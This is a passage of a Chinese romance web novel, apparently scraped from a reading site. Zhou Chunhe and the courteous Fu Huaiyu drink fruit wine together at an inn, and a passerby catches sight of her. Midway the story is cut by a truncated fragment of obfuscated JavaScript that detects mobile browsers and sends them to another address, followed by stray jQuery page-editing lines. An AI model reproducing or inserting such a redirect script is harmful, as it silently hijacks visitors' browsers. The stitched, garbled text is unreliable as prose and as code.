周春和问道:“你会喝酒吗?” “喝过,但是不多,或许不如姑娘能喝。” “没事儿,有我在这里,就算是你喝醉了也没关系,我抗也会把你扛回去的。” 傅怀玉笑意更深,他抬起广袖挡住嘴唇,笑道:“既然如此,那么在下就将自己的全部都拜托给姑娘了。” “那你算是找对人了,快,今个儿咱们不醉不归!” 两个人等了没多久,老板娘果然亲自把酒送了上来,而且她不仅赠给了周春和两枚香囊,还还免费赠给两个人几碟子下酒菜。 周春和立刻喜形于色,她看出老板娘是个厚道人,当即忍不住和老板娘聊了起来。 老板娘也是个嘴贫的,两个人相见恨晚,插科打诨,捧哏逗哏,逗得傅怀玉连连捂嘴轻笑。 不过老板娘还得招揽客人,聊了一会儿,也只得恋恋不舍的离开了,于是房间里便又只剩下了傅怀玉和周春和两人。 周春和悠然自得的拿起酒杯给自己斟了一杯,还不忘给傅怀玉也倒了半杯,她端起酒杯,轻轻碰了碰傅怀玉面前的酒杯,无比期待的咽了咽口水:“行,那我干了,你随意。” 说着一仰脖子,将杯中的酒一饮而尽。 傅怀玉也微微笑着端起酒杯,小口小口的抿了半杯。 周春和酒量算是很好的,一个人喝一坛也不会醉。更何况这酒度数其实很低,不醉人,所以她完全不担心自己会醉酒误事,只把这些果酒当个饮料喝喝过瘾。 周春和连饮几杯,依然没什么感觉。 她喝一杯,傅怀玉就喝一杯,几杯下肚,傅怀玉的脸色似乎染上一层淡淡的绯红,煞是好看。 周春和有些好奇的盯着傅怀玉看了片刻,察觉到周春和的视线,傅怀玉的睫毛颤了颤,端酒的动作更加优美,抿酒时,嘴唇微微翕动,抬起广袖遮在唇前,偏偏遮的不完全,露出带着酒渍的嘴角,看起来无比引人遐想。 周春和果然被吸引住了,连呼吸都下意识地放缓了,眼睛一眨不眨的盯着傅怀玉。 只见傅怀玉的眼睫低垂,偏偏一双眼睛含着波光潋滟,从酒杯逐渐往上移开视线,于是那双似蹙非蹙含情目便这么欲语还休的看向了周春和。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704424|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那双眼睛含着水润的情意,仿佛沙漠中的一汪清澈泉水,又似乎夜晚万里无云的碧空之上那一轮皎洁的弯月,清澈温柔,柔情似水。 周春和表情都直了,愣愣的看着傅怀玉,好半天没说话。 倒是傅怀玉忽然轻轻的笑了,他抿了一口酒便放下了酒杯,拿起帕子轻轻擦拭唇边亮晶晶的酒渍,然后单手支着头,倾身靠在木桌上,又抬起那双含情目温柔的看着周春和,语气轻揉,如同最细软的绸缎:“……在下实在不胜酒力,让姑娘见笑了。” 随着傅怀玉的动作,他的领口微微敞开,里面的风景几乎一览无遗。周春和触电般移开了视线,一时间慌乱的手都不知道往哪里放好,结结巴巴的开口:“没、没事。我说过会把你带回去,就算是你喝醉了我也会把你带回去。不喝醉也会把你带回去的,你要是想喝醉,就赶紧喝醉吧……” 救命啊……她到底在胡言乱语些什么? 周春和脚趾抓地,脸色涨红,恨不得穿越到刚刚开口说话之前给自己一巴掌。 可傅怀玉却轻轻笑了,他轻轻揉了揉太阳穴。知道是不是因为醉酒,周春和觉得他似乎比平常别有一番动人颜色,他抿了一下嘴唇,语气有些低:“既然姑娘诚心相邀,那我自然不会拒绝。” 他给自己倒了一杯,又给周春和倒了一杯,笑着举起自己面前的酒杯,柔声道:“既然如此,我先干了,姑娘自便便是。” 周春和胡乱拿起自己面前的酒杯和他碰了碰,盯着傅怀玉喝了之后,自己才一饮而尽。 两个人又喝了一杯,周春和觉得浑身燥热,还以为是酒喝多了,便觉得实在是不能再喝下去了,叫小厮了收了酒,只又要了点花生米和傅怀玉一起吃。 因为周春和总觉得房中闷热,不知道是喝了酒的缘故还是心不静的缘故,于是便叫小厮离开的时候把门敞着透风。 两个人把桌子移到窗户旁边,边看着街上热闹的集市边嚼着花生米聊天。 傅怀玉被窗外的风吹了吹,脸上的红晕才散了些。 两个人有一搭没一搭的聊了一会儿,周春和看着傅怀玉逐渐恢复了平日的模样,这才准备提议再下去逛逛。谁知话还没说出口,外面忽然由远及近响起了一阵脚步声,紧接着谈话声也响了起来。 周春和下意识地回头瞧了瞧,谁知道这一瞧,恰好与外面正路过的两个客人中的一个对上了视线。 那人倒是生了个不错的模样,远山眉,杏子眼,衣冠楚楚,玉树临风。周春和愣了一愣,对方似乎也怔愣住了。 她向来对长得好看的人没什么抵抗力,于是朝他点了点头,又客气一笑,算是打过招呼。 恰好傅怀玉又和她说些什么,周春和便回过头,不再注意外面的动静。 周春和很快将这个小小的插曲抛诸脑后,注意力被完全转移到傅怀玉身上来。可她却不知道,她身后那个看呆了似的人还久久的站在门外盯着周春和的背影看,直到被不知情的同伴捅了捅胳膊,才如梦初醒的反应过来。 他匆匆更上同伴的步伐,两个人随后便走远了。 那人的同伴见他还频频回头看,也不由的跟着回头看了一眼,却是只看见了空荡荡的长廊,于是他不解的问:“在看什么呢?怎么这么投入。” 那人低着头,没说话,还在回想着刚刚那个房间里女孩的模样,窗帘飘飘,微风吹拂。日光透过窗格打在她的眼角眉梢,一颦一笑都显得那么的楚楚动人,恍若置身仙境的洛神仙子。 所谓伊人,在水一方。 与此同时,傅怀玉的视线不经意间瞥了一眼窗外,似乎在低头思索着什么,但很快又状若无事般轻飘飘的收了回来,换上笑容游刃有余的回答刚刚周春和的问题,仿佛什么都不曾发生过。